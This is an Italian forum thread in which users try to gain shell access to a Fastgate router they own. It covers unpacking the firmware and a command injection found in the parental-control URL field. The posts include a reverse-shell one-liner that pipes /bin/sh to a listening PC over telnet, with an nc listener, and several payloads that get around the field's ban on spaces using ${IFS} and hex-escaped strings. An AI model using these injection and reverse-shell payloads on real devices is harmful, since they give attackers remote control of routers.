[ilsalvopss]

EDIT: Questo ci potrebbe aiutare? https://www.exploit-db.com/exploits/47654

pare di no

avete giocato con il bin del firmware? non riesco a spacchettarlo.. binwalk trova una sezione in LZMA che in effetti contiene roba compressa in LZMA ma l'altra metà non so cosa sia. C'è una netta separazione (..FFFFFFF..) tra le due "parti"

[LuKePicci]

Bisogna chiedere a questo tizio https://github.com/anphsw/mkzte

quel tool di per sè non funziona ma secondo me la logica da sotto è simile, provate a contattarlo e fargli vedere il file

[ilsalvopss]

direi che c'hai preso

Codice: [Seleziona]

typedef struct fw_header {
uint32_t fwmagic[4]; // {0x99999999, 0x44444444, 0x55555555, 0xAAAAAAAA}
.....
        char version_descr[24]; // like "THIS IS H118N VERSION", null-terminated
....



edit:
provo a mandagli una mail

[lorenzocanalelc]

Potrei aver trovato qualcosa di interessante, ma non so come sfruttare la falla, sul parental control inserendo come url

Codice: [Seleziona]

;reboot il fastgate si riavvia, quindi penso che quel campo sia iniettabile... Ma essendo il formato originale di un link non accetta stringhe con spazi, sono riuscito solo a riavviarlo... Ho pensato di fargli eseguire uno script da chiavetta, ma non riesco a farlo senza usare spazi

[larsen64it]

Non ci riesci ha dargli un comando alla volta?
Inserire in chiavetta un file eseguibile bash.sh contenente:

Codice: [Seleziona]

mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet IP.PC 6666 >/tmp/fo con qualcosa del genere

Mettere nc in ascolto
nc -lvvp 6666

Inserire nel campo

Codice: [Seleziona]

;/percorso/della/chiavetta/bash.sh

[lorenzocanalelc]

Tipo?

Codice: [Seleziona]

;echo;reboot Una cosa del genere riavvia ancora il router, ma come faccio a farlo ad esempio

Codice: [Seleziona]

sh /mnt/usb1_1/sblocco.sh senza usare spazi?

[larsen64it]

Codice: [Seleziona]

;sh${IFS}/mnt/usb1_1/sblocco.sh

Codice: [Seleziona]

;CMD=$'\x20/mnt/usb1_1/sblocco.sh'&&sh$CMD

[lorenzocanalelc]

Niente da fare, questi due comandi non li prende, farà qualche controllo sui caratteri "speciali"

[larsen64it]

Nemmeno il percorso diretto

Codice: [Seleziona]

;/percorso/della/chiavetta/bash.shper essere sicuri

Codice: [Seleziona]

;touch${IFS}/mnt/usb1_1/prova.txt
;CMD=$'\x20/mnt/usb1_1/prova2.txt'&&touch$CMD

[lorenzocanalelc]

Questo lo prende ma non succede niente... su sblocco.sh ho messo questo

Codice: [Seleziona]

#!/bin/sh
rebootDovrebbe riavviarsi se lo eseguisse, no?

[larsen64it]

Certo. Prima di inserilo nel router lo hai reso eseguibile chmod +x

[lorenzocanalelc]

Si, possibile che il percorso chiavetta sia diverso? io ho provato /mnt/usb1_1 perché sull'argomento mount= della rimozione usb spunta questo percorso, quale altro percorso potrebbe essere?
C'è qualche altro comando che posso provare oltre a reboot? Per essere sicuri che sia un injection e non qualche altra strana cosa

[FrancYescO]

prova a fare urlencode del comando, gli spazi sostituisci con %20

[ilsalvopss]

provo a mandagli una mail

il tizio dice che non sa come trattarlo, l'header dell'h388q contiene 400 byte in più di quella che si aspetta lui

[FrancYescO]

prova anche a sostituire ; a && in quello sopra

Codice: [Seleziona]

X=$'echo\x20ciao';$X